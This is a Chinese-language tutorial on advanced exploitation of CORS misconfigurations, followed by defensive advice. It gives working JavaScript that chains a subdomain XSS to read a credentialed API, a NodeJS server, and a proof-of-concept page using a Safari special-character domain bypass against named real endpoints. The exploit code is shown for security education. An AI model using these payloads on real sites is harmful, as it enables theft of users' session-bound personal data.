CORS(跨域资源共享)错误配置漏洞的高级利用
字数 1154 2025-08-18 11:38:41
CORS错误配置漏洞的高级利用技术教学文档
1. CORS基础概念回顾
CORS(跨域资源共享)是一种机制,允许Web应用程序从不同域访问资源。当服务器配置不当时,可能导致敏感数据泄露。
关键响应头:
Access-Control-Allow-Origin: 指定哪些域可以访问资源Access-Control-Allow-Credentials: 指示是否允许发送凭据(cookies等)
2. 第一种利用场景:结合XSS
2.1 漏洞发现
- 发现目标网站
www.redacted.com存在CORS配置错误 - 服务器接受任意子域(包括不存在的子域)作为合法来源
- 响应头示例:
Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: evil.redacted.com
2.2 利用条件
- 目标API端点返回敏感信息(如用户个人信息)
- 存在可用的子域XSS漏洞或可接管的废弃子域
2.3 利用步骤
- 在子域
banques.redacted.com发现XSS漏洞 - 构造恶意payload获取API数据:
function cors() { var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (this.status == 200) { alert(this.responseText); document.getElementById("demo").innerHTML = this.responseText; } }; xhttp.open("GET", "https://www.redacted.com/api/return", true); xhttp.withCredentials = true; xhttp.send(); } cors(); - 将payload嵌入XSS链接中:
https://banques.redacted.com/choice-quiz?form_banque="><script>function%20cors(){...}</script>&form_cartes=73&iframestat=1
3. 第二种利用场景:高级CORS绕过技术
3.1 漏洞发现
- 目标网站
https://protect.ubnt.com/存在CORS配置错误 - API端点
https://client.amplifi.com/api/user/接受任意子域
3.2 浏览器特性利用
- Safari浏览器对特殊字符域名的处理与其他浏览器不同
- Safari会尝试加载包含特殊字符的URL,而不会预先验证域名有效性
3.3 特殊字符利用
可用的特殊字符包括:
! " $ %0b %60 & ' ( ) * , ; = ^ ` { | } ~
示例格式:
*.ubnt.com[特殊字符].evil.com
3.4 完整利用步骤
3.4.1 基础设施准备
- 注册域名
evil.com - 配置通配符DNS记录,将所有子域指向攻击者服务器
*.evil.com -> [攻击者IP]
3.4.2 服务器设置
-
创建NodeJS服务器(
serve.js):var http = require('http'); var url = require('url'); var fs = require('fs'); var port = 80 http.createServer(function(req, res) { if (req.url == '/cors-poc') { fs.readFile('cors.html', function(err, data) { res.writeHead(200, {'Content-Type':'text/html'}); res.write(data); res.end(); }); } else { res.writeHead(200, {'Content-Type':'text/html'}); res.write('never gonna give you up...'); res.end(); } }).listen(port, '0.0.0.0'); console.log(`Serving on port ${port}`); -
创建恶意页面(
cors.html):<!DOCTYPE html> <html> <head><title>CORS</title></head> <body onload="cors();"> <center>cors proof-of-concept:<br><br> <textarea rows="10" cols="60" id="pwnz"></textarea><br> </div> <script> function cors() { var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { document.getElementById("pwnz").innerHTML = this.responseText; } }; xhttp.open("GET", "https://client.amplifi.com/api/user/", true); xhttp.withCredentials = true; xhttp.send(); } </script>
3.4.3 攻击执行
- 诱使受害者访问特殊构造的URL:
https://zzzz.ubnt.com=.evil.com/cors-poc - Safari浏览器会发送请求并执行恶意脚本
- 受害者的敏感信息被泄露到攻击者控制的页面
4. 防御措施
4.1 正确的CORS配置
- 明确指定允许的来源域,避免使用通配符或动态来源
- 避免使用
Access-Control-Allow-Credentials: true除非必要
4.2 其他防护措施
- 实施CSRF令牌
- 对敏感API端点实施额外的身份验证
- 定期检查子域安全性,避免子域接管
5. 总结
CORS错误配置漏洞的利用方式多样,从简单的XSS结合到高级的特殊字符绕过技术。安全团队应:
- 严格审查CORS配置
- 监控所有子域的安全性
- 了解不同浏览器的安全特性差异
- 实施深度防御策略
6. 参考资料
- Portswigger关于CORS的文章
- Geekboy关于CORS的研究
- 浏览器特殊字符处理相关研究